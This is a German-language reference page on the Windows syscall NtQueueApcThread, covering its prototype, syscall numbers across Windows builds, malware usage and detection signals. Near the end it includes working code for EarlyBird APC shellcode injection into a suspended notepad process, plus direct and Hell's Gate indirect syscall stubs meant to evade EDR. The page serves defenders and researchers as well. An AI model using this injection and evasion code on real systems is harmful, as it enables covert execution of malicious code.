NtQueueApcThread
Reiht einen Usermode-APC (Asynchronous Procedure Call) in die Queue eines Zielthreads ein.
Prototyp
NTSTATUS NtQueueApcThread( HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3 );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| ThreadHandle | HANDLE | in | Handle auf den Zielthread mit THREAD_SET_CONTEXT-Zugriff. |
| ApcRoutine | PIO_APC_ROUTINE | in | Usermode-Adresse, die der Thread ausführt, sobald er in einen alertable Wait eintritt. |
| ApcArgument1 | PVOID | in | Erstes Argument für ApcRoutine. Häufig als Payload-Zeiger verwendet. |
| ApcArgument2 | PVOID | in | Zweites Argument für ApcRoutine. |
| ApcArgument3 | PVOID | in | Drittes Argument für ApcRoutine. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x45 | win10-1507 |
| Win10 1607 | 0x45 | win10-1607 |
| Win10 1703 | 0x45 | win10-1703 |
| Win10 1709 | 0x45 | win10-1709 |
| Win10 1803 | 0x45 | win10-1803 |
| Win10 1809 | 0x45 | win10-1809 |
| Win10 1903 | 0x45 | win10-1903 |
| Win10 1909 | 0x45 | win10-1909 |
| Win10 2004 | 0x45 | win10-2004 |
| Win10 20H2 | 0x45 | win10-20h2 |
| Win10 21H1 | 0x45 | win10-21h1 |
| Win10 21H2 | 0x45 | win10-21h2 |
| Win10 22H2 | 0x45 | win10-22h2 |
| Win11 21H2 | 0x45 | win11-21h2 |
| Win11 22H2 | 0x45 | win11-22h2 |
| Win11 23H2 | 0x45 | win11-23h2 |
| Win11 24H2 | 0x45 | win11-24h2 |
| Server 2016 | 0x45 | winserver-2016 |
| Server 2019 | 0x45 | winserver-2019 |
| Server 2022 | 0x45 | winserver-2022 |
| Server 2025 | 0x45 | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 45 00 00 00 mov eax, 0x45 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
Reiht einen regulären User-APC im Zielthread ein. SSN `0x45` ist über jeden ausgelieferten Win10/11-Build stabil. Ein eingereihter User-APC feuert nur, wenn der Zielthread in einen *alertable* Wait eintritt (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, GUI-Message-Loop-Idles). Wird der Thread niemals alertable, bleibt der APC dauerhaft in der Queue — deshalb wurde `NtQueueApcThreadEx` mit `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) eingeführt, das das Feuern erzwingt. EarlyBird-APC-Injection umgeht die Alertable-Anforderung, indem ein frisch erzeugter suspendierter Thread vor seiner ersten Instruktion adressiert wird.
Häufige Malware-Nutzung
Zwei Hauptvarianten missbrauchen das. (1) Klassische Remote-APC-Injection: einen Zielthread öffnen, einen APC einreihen, der auf `LoadLibraryA` oder direkt auf Shellcode in `ApcArgument1` zeigt, auf das Feuern warten. (2) EarlyBird: einen harmlosen Prozess suspendiert starten, den APC auf dem Primärthread einreihen, bevor der Loader läuft, dann fortsetzen — der APC feuert, wenn der Loader seinen ersten alertable Wait in `ntdll!LdrpInitializeProcess` erreicht. Verwendet von Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, der ursprünglichen APC+Atombombing-Kombi und Cobalt-Strike-`AddressOfPage`-BOFs.
Erkennungsmöglichkeiten
Es gibt kein dediziertes Sysmon-Event. ETW Threat Intelligence emittiert `EtwTiLogQueueApcThread` für prozessübergreifend eingereihte User-APCs — das ist das wichtigste kernelseitige Signal und was die meisten EDRs konsumieren. Der `PsSetCreateThreadNotifyRoutine`-Callback feuert nur bei Thread-Erzeugung, nicht beim APC-Enqueue, sodass EarlyBird durch die *Kombination* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` aus einem Nicht-Debugger-Parent erkannt wird. Stack-Walk-Telemetrie bei APC-Delivery ist der Goldstandard: zeigt der Returnpfad nur ntdll-Frames mit einer APC-Routine in privatem Speicher, ist das hochkonfidente Injection.
Direkte Syscall-Beispiele
asmx64 direct stub
; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
mov r10, rcx ; syscall convention
mov eax, 45h ; SSN
syscall
ret
NtQueueApcThread ENDPcEarlyBird APC injection
// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
SIZE_T size = shellcode_len;
PVOID remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);cHell's Gate dynamic lookup
// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);MITRE ATT&CK-Mappings
Last verified: 2026-05-20